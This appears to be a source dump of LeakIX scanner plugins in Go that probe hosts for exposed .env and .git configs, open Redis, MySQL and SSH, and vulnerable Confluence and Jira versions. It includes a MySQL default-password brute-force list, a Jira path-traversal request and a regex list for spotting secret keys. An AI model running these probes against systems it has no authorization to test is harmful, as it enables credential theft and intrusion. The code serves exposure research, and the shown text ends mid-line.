> 1 { 117 | return note, true 118 | } 119 | return "", false 120 | } 121 | 122 | var mysqlRegistered bool 123 | 124 | func (plugin MysqlSchemaPlugin) Init() error { 125 | mysql.RegisterDialContext("l9tcp", func(ctx context.Context, remoteAddr string) (net.Conn, error) { 126 | return plugin.DialContext(ctx, "tcp", remoteAddr) 127 | }) 128 | log.Println("Registered l9tcp mysql dialer") 129 | return nil 130 | } 131 | -------------------------------------------------------------------------------- /tcp/mysql_open.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | "fmt" 7 | "github.com/LeakIX/l9format" 8 | "github.com/go-sql-driver/mysql" 9 | _ "github.com/go-sql-driver/mysql" 10 | "log" 11 | "net" 12 | ) 13 | 14 | type MysqlWeakPlugin struct { 15 | l9format.ServicePluginBase 16 | } 17 | 18 | func (MysqlWeakPlugin) GetVersion() (int, int, int) { 19 | return 0, 0, 1 20 | } 21 | 22 | func (MysqlWeakPlugin) GetProtocols() []string { 23 | return []string{"mysql"} 24 | } 25 | 26 | func (MysqlWeakPlugin) GetName() string { 27 | return "MysqlWeakPlugin" 28 | } 29 | 30 | func (MysqlWeakPlugin) GetStage() string { 31 | return "open" 32 | } 33 | 34 | var verQueryString = "select @@version_comment, @@version, concat(@@version_compile_os, \" \", @@version_compile_machine);" 35 | 36 | func (plugin MysqlWeakPlugin) Run(ctx context.Context, event *l9format.L9Event, options map[string]string) bool { 37 | for _, username := range usernames { 38 | for _, password := range passwords { 39 | dsn := fmt.Sprintf("%s:%s@l9tcp(%s)/information_schema?readTimeout=3s&timeout=3s&writeTimeout=3s", username, password, net.JoinHostPort(event.Ip, event.Port)) 40 | log.Printf("Trying: %s", dsn) 41 | db, err := sql.Open("mysql", dsn) 42 | 43 | err = db.PingContext(ctx) 44 | if err != nil { 45 | db.Close() 46 | if _, isMysqlError := err.(*mysql.MySQLError); !isMysqlError { 47 | log.Println(err.Error()) 48 | log.Println("Not a mysql error, leaving early") 49 | return false 50 | } 51 | continue 52 | } 53 | // Try to populate info for the service 54 | verQuery, err := db.QueryContext(ctx, verQueryString) 55 | if err == nil { 56 | if verQuery.Next() { 57 | verQuery.Scan(&event.Service.Software.Name, &event.Service.Software.Version, &event.Service.Software.OperatingSystem) 58 | } 59 | } 60 | db.Close() 61 | log.Println("Mysql authed, default password") 62 | event.Service.Credentials = l9format.ServiceCredentials{ 63 | NoAuth: false, 64 | Username: username, 65 | Password: password, 66 | } 67 | event.Summary = "No or default MySQL authentication found." 68 | return true 69 | } 70 | } 71 | return false 72 | } 73 | 74 | var usernames = []string{ 75 | "root", 76 | } 77 | 78 | var passwords = []string{ 79 | "", 80 | "root", 81 | "toor", 82 | "t00r", 83 | "r00t", 84 | "mysql", 85 | "sql", 86 | "123456", 87 | "admin", 88 | } 89 | 90 | func (plugin MysqlWeakPlugin) Init() error { 91 | mysql.RegisterDialContext("l9tcp", func(ctx context.Context, remoteAddr string) (net.Conn, error) { 92 | return plugin.DialContext(ctx, "tcp", remoteAddr) 93 | }) 94 | log.Println("Registered l9tcp mysql dialer") 95 | return nil 96 | } 97 | -------------------------------------------------------------------------------- /tcp/redis_open.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "github.com/LeakIX/l9format" 6 | "github.com/go-redis/redis/v8" 7 | "log" 8 | "net" 9 | "strings" 10 | ) 11 | 12 | type RedisOpenPlugin struct { 13 | l9format.ServicePluginBase 14 | } 15 | 16 | func (RedisOpenPlugin) GetVersion() (int, int, int) { 17 | return 0, 0, 1 18 | } 19 | 20 | func (RedisOpenPlugin) GetProtocols() []string { 21 | return []string{"redis"} 22 | } 23 | 24 | func (RedisOpenPlugin) GetName() string { 25 | return "RedisOpenPlugin" 26 | } 27 | 28 | func (RedisOpenPlugin) GetStage() string { 29 | return "open" 30 | } 31 | 32 | func (plugin RedisOpenPlugin) Run(ctx context.Context, event *l9format.L9Event, options map[string]string) bool { 33 | client := redis.NewClient(&redis.Options{ 34 | Addr: net.JoinHostPort(event.Ip, event.Port), 35 | Password: "", // no password set 36 | DB: 0, // use default DB 37 | Dialer: plugin.DialContext, 38 | }) 39 | defer client.Close() 40 | _, err := client.Ping(ctx).Result() 41 | if err != nil { 42 | log.Println("Redis PING failed, leaving early : ", err) 43 | return false 44 | } 45 | redisInfo, err := client.Info(ctx).Result() 46 | if err != nil { 47 | log.Println("Redis INFO failed, leaving early : ", err) 48 | return false 49 | } 50 | redisInfoDict := make(map[string]string) 51 | redisInfo = strings.Replace(redisInfo, "\r", "", -1) 52 | for _, line := range strings.Split(redisInfo, "\n") { 53 | keyValuePair := strings.Split(line, ":") 54 | if len(keyValuePair) == 2 { 55 | redisInfoDict[keyValuePair[0]] = keyValuePair[1] 56 | } 57 | } 58 | if _, found := redisInfoDict["redis_version"]; found { 59 | event.Service.Software.OperatingSystem, _ = redisInfoDict["os"] 60 | event.Service.Software.Name = "Redis" 61 | event.Service.Software.Version, _ = redisInfoDict["redis_version"] 62 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 63 | event.Summary = "Redis is open\n" 64 | event.Leak.Type = "open_database" 65 | event.Leak.Dataset.Rows = 1 66 | return true 67 | } 68 | return false 69 | } 70 | -------------------------------------------------------------------------------- /tcp/ssh_open.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "github.com/LeakIX/l9format" 6 | "golang.org/x/crypto/ssh" 7 | "net" 8 | "time" 9 | ) 10 | 11 | type SSHOpenPlugin struct { 12 | l9format.ServicePluginBase 13 | } 14 | 15 | func (SSHOpenPlugin) GetVersion() (int, int, int) { 16 | return 0, 0, 1 17 | } 18 | 19 | func (SSHOpenPlugin) GetProtocols() []string { 20 | return []string{"ssh"} 21 | } 22 | 23 | func (SSHOpenPlugin) GetName() string { 24 | return "SSHOpenPlugin" 25 | } 26 | 27 | func (SSHOpenPlugin) GetStage() string { 28 | return "open" 29 | } 30 | 31 | func (plugin SSHOpenPlugin) Run(ctx context.Context, event *l9format.L9Event, options map[string]string) bool { 32 | conn, err := plugin.GetL9NetworkConnection(event) 33 | if err != nil { 34 | return false 35 | } 36 | _, _, _, _ = ssh.NewClientConn(conn, net.JoinHostPort(event.Ip, event.Port), &ssh.ClientConfig{ 37 | User: "root", 38 | Auth: []ssh.AuthMethod{}, 39 | HostKeyCallback: func(_ string, _ net.Addr, key ssh.PublicKey) error { 40 | event.SSH.Fingerprint = ssh.FingerprintSHA256(key) 41 | return nil 42 | }, 43 | BannerCallback: func(message string) error { 44 | event.SSH.Banner = message 45 | return nil 46 | }, 47 | Timeout: 5 * time.Second, 48 | }) 49 | return false 50 | } 51 | -------------------------------------------------------------------------------- /web/apachestatus_http.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "github.com/LeakIX/l9format" 5 | ) 6 | 7 | type ApacheStatusHttpPlugin struct { 8 | l9format.ServicePluginBase 9 | } 10 | 11 | func (ApacheStatusHttpPlugin) GetVersion() (int, int, int) { 12 | return 0, 0, 1 13 | } 14 | 15 | func (ApacheStatusHttpPlugin) GetRequests() []l9format.WebPluginRequest { 16 | return []l9format.WebPluginRequest{{ 17 | Method: "GET", 18 | Path: "/server-status", 19 | Headers: map[string]string{}, 20 | Body: []byte(""), 21 | }} 22 | } 23 | 24 | func (ApacheStatusHttpPlugin) GetName() string { 25 | return "ApacheStatusHttpPlugin" 26 | } 27 | 28 | func (ApacheStatusHttpPlugin) GetStage() string { 29 | return "open" 30 | } 31 | func (plugin ApacheStatusHttpPlugin) Verify(request l9format.WebPluginRequest, response l9format.WebPluginResponse, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 32 | if !request.EqualAny(plugin.GetRequests()) || response.Response.StatusCode != 200 || response.Document == nil { 33 | return false 34 | } 35 | if response.Document.Find("title").Text() == "Apache Status" { 36 | event.Summary = response.Document.Text() 37 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 38 | return true 39 | } 40 | return false 41 | } 42 | -------------------------------------------------------------------------------- /web/configjson_http.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "encoding/json" 5 | "github.com/LeakIX/l9format" 6 | ) 7 | 8 | type ConfigJsonHttp struct { 9 | l9format.ServicePluginBase 10 | } 11 | 12 | func (ConfigJsonHttp) GetVersion() (int, int, int) { 13 | return 0, 0, 1 14 | } 15 | 16 | func (ConfigJsonHttp) GetRequests() []l9format.WebPluginRequest { 17 | return []l9format.WebPluginRequest{{ 18 | Method: "GET", 19 | Path: "/config.json", 20 | Headers: map[string]string{}, 21 | Body: []byte(""), 22 | }} 23 | } 24 | 25 | func (ConfigJsonHttp) GetName() string { 26 | return "ConfigJsonHttp" 27 | } 28 | 29 | func (ConfigJsonHttp) GetStage() string { 30 | return "open" 31 | } 32 | func (plugin ConfigJsonHttp) Verify(request l9format.WebPluginRequest, response l9format.WebPluginResponse, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 33 | if !request.EqualAny(plugin.GetRequests()) || response.Response.StatusCode != 200 { 34 | return false 35 | } 36 | var reply CodeJsonReply 37 | var fullReply interface{} 38 | // It's a trap :/ 39 | reply.Code = -323211 40 | reply.Status = reply.Code 41 | err := json.Unmarshal(response.Body, &reply) 42 | err = json.Unmarshal(response.Body, &fullReply) 43 | if err != nil { 44 | return false 45 | } 46 | if reply.Code != -323211 || reply.Status != reply.Code { 47 | return false 48 | } 49 | event.Leak.Dataset.Size = int64(len(response.Body)) 50 | response.Body, err = json.MarshalIndent(fullReply, "", " ") 51 | if err != nil { 52 | return false 53 | } 54 | event.Summary = string(response.Body) 55 | event.Leak.Severity = l9format.SEVERITY_LOW 56 | return true 57 | } 58 | 59 | type CodeJsonReply struct { 60 | Code int `json:"code"` 61 | Status int `json:"status"` 62 | } 63 | -------------------------------------------------------------------------------- /web/confluence_version.go: -------------------------------------------------------------------------------- 1 | package web 2 | /* 3 | * Thanks to https://twitter.com/HaboubiAnis for pointers on this plugin. 4 | */ 5 | import ( 6 | "fmt" 7 | "github.com/LeakIX/l9format" 8 | "github.com/PuerkitoBio/goquery" 9 | "github.com/hashicorp/go-version" 10 | "log" 11 | ) 12 | 13 | type ConfluenceVersionIssue struct { 14 | l9format.ServicePluginBase 15 | } 16 | 17 | func (ConfluenceVersionIssue) GetVersion() (int, int, int) { 18 | return 0, 1, 0 19 | } 20 | 21 | func (ConfluenceVersionIssue) GetName() string { 22 | return "ConfluenceVersionIssue" 23 | } 24 | 25 | func (ConfluenceVersionIssue) GetStage() string { 26 | return "open" 27 | } 28 | 29 | var ConfluenceRequest = l9format.WebPluginRequest{Method: "GET", Path: "/login.action"} 30 | 31 | func (plugin ConfluenceVersionIssue) GetRequests() []l9format.WebPluginRequest { 32 | //No need to register requests, / is a default one 33 | return []l9format.WebPluginRequest{ 34 | ConfluenceRequest, 35 | } 36 | } 37 | 38 | // Test leak from response 39 | func (plugin ConfluenceVersionIssue) Verify(request l9format.WebPluginRequest, response l9format.WebPluginResponse, event *l9format.L9Event, options map[string]string) bool { 40 | // If we're checking a /login.action request, negative 41 | if !ConfluenceRequest.Equal(request) { 42 | log.Printf("skipping confluence %s", request.Path) 43 | return false 44 | } 45 | // If there's no HTML in the response, negative 46 | if response.Document == nil { 47 | log.Println("skipping confluence") 48 | //no html 49 | return false 50 | } 51 | // Find metas 52 | response.Document.Find("meta").Each(func(i int, selection *goquery.Selection) { 53 | // With ajs-version-number name attrib 54 | if attrName, hasAttr := selection.Attr("name"); hasAttr && attrName == "ajs-version-number" { 55 | if attrValue, hasAttrValue := selection.Attr("content"); hasAttrValue { 56 | log.Printf("Found version %s", attrValue) 57 | confluenceVersion, err := version.NewVersion(attrValue) 58 | if err != nil { 59 | return 60 | } 61 | if len(confluenceVersion.Segments()) < 3 { 62 | return 63 | } 64 | event.Service.Software.Name = "Confluence" 65 | event.Service.Software.Version = confluenceVersion.String() 66 | segments := confluenceVersion.Segments() 67 | major, minor, patch := segments[0], segments[1], segments[2] 68 | // version test, TODO didn't care optimizing the logic, make it better for next issues 69 | if major < 6 && major > 4 { 70 | event.Summary = fmt.Sprintf("Confluence version %s likely vulnerable to CVE-2021-26084", confluenceVersion.String()) 71 | event.AddTag("cve-2021-26084") 72 | return 73 | } 74 | if major == 6 && minor < 13 { 75 | event.Summary = fmt.Sprintf("Confluence version %s likely vulnerable to CVE-2021-26084", confluenceVersion.String()) 76 | event.AddTag("cve-2021-26084") 77 | return 78 | } 79 | if major == 6 && minor == 13 { 80 | if patch < 23 { 81 | event.Summary = fmt.Sprintf("Confluence version %s likely vulnerable to CVE-2021-26084", confluenceVersion.String()) 82 | event.AddTag("cve-2021-26084") 83 | } 84 | return 85 | } 86 | if major == 6 && minor > 13 { 87 | event.Summary = fmt.Sprintf("Confluence version %s likely vulnerable to CVE-2021-26084", confluenceVersion.String()) 88 | event.AddTag("cve-2021-26084") 89 | return 90 | } 91 | if major == 7 && minor == 4 { 92 | if patch < 11 { 93 | event.Summary = fmt.Sprintf("Confluence version %s likely vulnerable to CVE-2021-26084", confluenceVersion.String()) 94 | event.AddTag("cve-2021-26084") 95 | } 96 | return 97 | } 98 | if major == 7 && minor > 4 && minor < 11 { 99 | event.Summary = fmt.Sprintf("Confluence version %s likely vulnerable to CVE-2021-26084", confluenceVersion.String()) 100 | event.AddTag("cve-2021-26084") 101 | return 102 | } 103 | if major == 7 && minor == 11 { 104 | if patch < 6 { 105 | event.Summary = fmt.Sprintf("Confluence version %s likely vulnerable to CVE-2021-26084", confluenceVersion.String()) 106 | event.AddTag("cve-2021-26084") 107 | } 108 | return 109 | } 110 | if major == 7 && minor == 12 { 111 | if patch < 5 { 112 | event.Summary = fmt.Sprintf("Confluence version %s likely vulnerable to CVE-2021-26084", confluenceVersion.String()) 113 | event.AddTag("cve-2021-26084") 114 | } 115 | return 116 | } 117 | } 118 | } 119 | }) 120 | return event.HasTag("cve-2021-26084") 121 | } 122 | -------------------------------------------------------------------------------- /web/dotenv_http.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "github.com/LeakIX/l9format" 5 | "github.com/joho/godotenv" 6 | "regexp" 7 | "strings" 8 | ) 9 | 10 | type DotEnvHttpPlugin struct { 11 | l9format.ServicePluginBase 12 | } 13 | 14 | func (DotEnvHttpPlugin) GetVersion() (int, int, int) { 15 | return 0, 0, 1 16 | } 17 | 18 | func (DotEnvHttpPlugin) GetRequests() []l9format.WebPluginRequest { 19 | return []l9format.WebPluginRequest{{ 20 | Method: "GET", 21 | Path: "/.env", 22 | Headers: map[string]string{}, 23 | Body: []byte(""), 24 | }} 25 | } 26 | 27 | func (DotEnvHttpPlugin) GetName() string { 28 | return "DotEnvConfigPlugin" 29 | } 30 | 31 | func (DotEnvHttpPlugin) GetStage() string { 32 | return "open" 33 | } 34 | func (plugin DotEnvHttpPlugin) Verify(request l9format.WebPluginRequest, response l9format.WebPluginResponse, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 35 | if !request.EqualAny(plugin.GetRequests()) || response.Response.StatusCode != 200 { 36 | return false 37 | } 38 | if len(response.Body) > 0 && response.Body[0] == '<' { 39 | return false 40 | } 41 | envConfig, err := godotenv.Unmarshal(string(response.Body)) 42 | if err != nil { 43 | return false 44 | } 45 | if len(envConfig) > 1 && len(envConfig) < 2048 { 46 | event.Summary = string(response.Body) 47 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 48 | if len(checkSensitiveKeyPatterns(envConfig)) > 0 { 49 | event.Leak.Severity = l9format.SEVERITY_HIGH 50 | } 51 | if awsFakeKey, hasKey := envConfig["AWS_ACCESS_KEY_ID"]; hasKey && len(envConfig) == 3 && strings.HasPrefix(awsFakeKey, "ASIAXM") { 52 | event.Leak.Severity = l9format.SEVERITY_LOW 53 | } 54 | return true 55 | } 56 | return false 57 | } 58 | 59 | var sensitiveKeyPatterns = []string{ 60 | "^aws_.*", 61 | ".*_password$", 62 | ".*_key$", 63 | "^mysql_.*", 64 | ".*secret.*", 65 | ".*private.*", 66 | } 67 | 68 | func checkSensitiveKeyPatterns(config map[string]string) (matches []string) { 69 | for configKey, configValue := range config { 70 | for _, sensitiveKeyPattern := range sensitiveKeyPatterns { 71 | if match, err := regexp.MatchString(sensitiveKeyPattern, strings.ToLower(configKey)); err == nil && match && len(configValue) > 0 { 72 | matches = append(matches, configKey) 73 | // Don't match 2 patterns, proceed to next file 74 | break 75 | } 76 | } 77 | } 78 | return matches 79 | } 80 | -------------------------------------------------------------------------------- /web/firebase_http.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "encoding/json" 5 | "strings" 6 | 7 | "github.com/LeakIX/l9format" 8 | ) 9 | 10 | type FirebaseHttpPlugin struct { 11 | l9format.ServicePluginBase 12 | } 13 | 14 | func (FirebaseHttpPlugin) GetVersion() (int, int, int) { 15 | return 0, 0, 1 16 | } 17 | 18 | func (FirebaseHttpPlugin) GetRequests() []l9format.WebPluginRequest { 19 | return []l9format.WebPluginRequest{{ 20 | Method: "GET", 21 | Path: "/.json", 22 | Headers: map[string]string{}, 23 | Body: []byte(""), 24 | }} 25 | } 26 | 27 | func (FirebaseHttpPlugin) GetName() string { 28 | return "FirebaseHttpPlugin" 29 | } 30 | 31 | func (FirebaseHttpPlugin) GetStage() string { 32 | return "open" 33 | } 34 | func (plugin FirebaseHttpPlugin) Verify(request l9format.WebPluginRequest, response l9format.WebPluginResponse, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 35 | if !request.EqualAny(plugin.GetRequests()) || response.Response.StatusCode != 200 || !strings.HasSuffix(event.Host, ".firebaseio.com") { 36 | return false 37 | } 38 | if len(response.Body) > 0 && response.Body[0] == '<' { 39 | return false 40 | } 41 | var dat map[string]interface{} 42 | err := json.Unmarshal(response.Body, &dat) 43 | if err != nil { 44 | return false 45 | } 46 | if len(dat) > 0 { 47 | event.Leak.Dataset.Size = int64(len(response.Body)) 48 | event.Summary = string(response.Body) 49 | return true 50 | } 51 | return false 52 | } 53 | -------------------------------------------------------------------------------- /web/gitconfig_http.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "github.com/LeakIX/l9format" 5 | "gopkg.in/ini.v1" 6 | "net/url" 7 | ) 8 | 9 | type GitConfigHttpPlugin struct { 10 | l9format.ServicePluginBase 11 | } 12 | 13 | func (GitConfigHttpPlugin) GetVersion() (int, int, int) { 14 | return 0, 0, 1 15 | } 16 | 17 | func (GitConfigHttpPlugin) GetRequests() []l9format.WebPluginRequest { 18 | return []l9format.WebPluginRequest{{ 19 | Method: "GET", 20 | Path: "/.git/config", 21 | Headers: map[string]string{}, 22 | Body: []byte(""), 23 | }} 24 | } 25 | 26 | func (GitConfigHttpPlugin) GetName() string { 27 | return "GitConfigPlugin" 28 | } 29 | 30 | func (GitConfigHttpPlugin) GetStage() string { 31 | return "open" 32 | } 33 | func (plugin GitConfigHttpPlugin) Verify(request l9format.WebPluginRequest, response l9format.WebPluginResponse, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 34 | if !request.EqualAny(plugin.GetRequests()) || response.Response.StatusCode != 200 { 35 | return false 36 | } 37 | gitConfig, err := ini.ShadowLoad(response.Body) 38 | if err != nil { 39 | return false 40 | } 41 | if section := gitConfig.Section(`remote "origin"`); section.HasKey("url") { 42 | event.Summary += string(response.Body) 43 | event.Leak.Dataset.Files++ 44 | event.Leak.Dataset.Size = int64(len(response.Body)) 45 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 46 | if gitUrl, err := url.Parse(section.Key("url").Value()); err == nil && gitUrl != nil && gitUrl.User != nil && len(gitUrl.User.Username()) > 0 { 47 | event.Leak.Severity = l9format.SEVERITY_HIGH 48 | if gitPassword, hasPassword := gitUrl.User.Password(); hasPassword && len(gitPassword) > 0 { 49 | event.Leak.Severity = l9format.SEVERITY_CRITICAL 50 | } 51 | } 52 | return true 53 | } 54 | return false 55 | } 56 | -------------------------------------------------------------------------------- /web/idxconfig_http.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "github.com/LeakIX/IndexOfBrowser" 5 | "github.com/LeakIX/l9format" 6 | "log" 7 | "strings" 8 | ) 9 | 10 | type IdxConfigPlugin struct { 11 | l9format.ServicePluginBase 12 | } 13 | 14 | func (IdxConfigPlugin) GetVersion() (int, int, int) { 15 | return 0, 0, 1 16 | } 17 | 18 | func (IdxConfigPlugin) GetRequests() []l9format.WebPluginRequest { 19 | return []l9format.WebPluginRequest{{ 20 | Method: "GET", 21 | Path: "/idx_config/", 22 | Headers: map[string]string{}, 23 | Body: []byte(""), 24 | }} 25 | } 26 | 27 | func (IdxConfigPlugin) GetName() string { 28 | return "IdxConfigPlugin" 29 | } 30 | 31 | func (IdxConfigPlugin) GetStage() string { 32 | return "open" 33 | } 34 | func (plugin IdxConfigPlugin) Verify(request l9format.WebPluginRequest, response l9format.WebPluginResponse, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 35 | if !request.EqualAny(plugin.GetRequests()) || response.Response.StatusCode != 200 || response.Document == nil { 36 | return false 37 | } 38 | if strings.HasPrefix(response.Document.Find("title").Text(), "Index of /") { 39 | browser := IndexOfBrowser.NewBrowser(event.Url()) 40 | log.Println(event.Url()) 41 | files, err := browser.Ls() 42 | if err != nil { 43 | return false 44 | } 45 | for _, file := range files { 46 | event.Summary += "Found " + file.Name + "\n" 47 | event.Leak.Dataset.Files++ 48 | event.Leak.Dataset.Infected = true 49 | } 50 | if len(files) > 0 { 51 | return true 52 | } 53 | } 54 | return false 55 | } 56 | -------------------------------------------------------------------------------- /web/jira_plugin.go: -------------------------------------------------------------------------------- 1 | package web 2 | /* 3 | * Thanks to https://twitter.com/HaboubiAnis for pointers on this plugin. 4 | */ 5 | import ( 6 | "github.com/LeakIX/l9format" 7 | "strings" 8 | ) 9 | 10 | type JiraPlugin struct { 11 | l9format.ServicePluginBase 12 | } 13 | 14 | func (JiraPlugin) GetVersion() (int, int, int) { 15 | return 0, 1, 0 16 | } 17 | 18 | func (JiraPlugin) GetName() string { 19 | return "JiraPlugin" 20 | } 21 | 22 | func (JiraPlugin) GetStage() string { 23 | return "open" 24 | } 25 | 26 | var JiraPluginRequests = []l9format.WebPluginRequest{ 27 | {Method: "GET", Path: "/s/lkx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"}, 28 | } 29 | 30 | func (plugin JiraPlugin) GetRequests() []l9format.WebPluginRequest { 31 | return JiraPluginRequests 32 | } 33 | 34 | // Test leak from response 35 | func (plugin JiraPlugin) Verify(request l9format.WebPluginRequest, response l9format.WebPluginResponse, event *l9format.L9Event, options map[string]string) bool { 36 | // Are we checking our requests ? 37 | if !request.EqualAny(JiraPluginRequests) { 38 | return false 39 | } 40 | // Check for status code 41 | if response.Response.StatusCode != 200 { 42 | return false 43 | } 44 | // Check for something to avoid false positive : 45 | if strings.Contains(string(response.Body), "Maven") && !strings.Contains(string(response.Body), "